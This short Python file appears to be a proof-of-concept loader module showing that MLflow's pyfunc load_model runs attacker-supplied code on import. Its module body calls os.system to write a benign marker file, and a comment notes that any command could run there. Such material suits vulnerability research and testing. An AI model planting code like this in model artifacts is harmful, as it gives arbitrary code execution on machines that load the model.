model/code/evil_loader.py

# Attacker-controlled loader module. The MODULE BODY runs at import time;
# mlflow.pyfunc.load_model triggers it via importlib.import_module(loader_module).
import os
os.system("echo MLFLOW_PYFUNC_PWNED > /tmp/mlflow_pyfunc_pwned.txt")   # benign marker; any command runs here

def _load_pyfunc(path):
    class _M:
        def predict(self, *a, **k):
            return []
    return _M()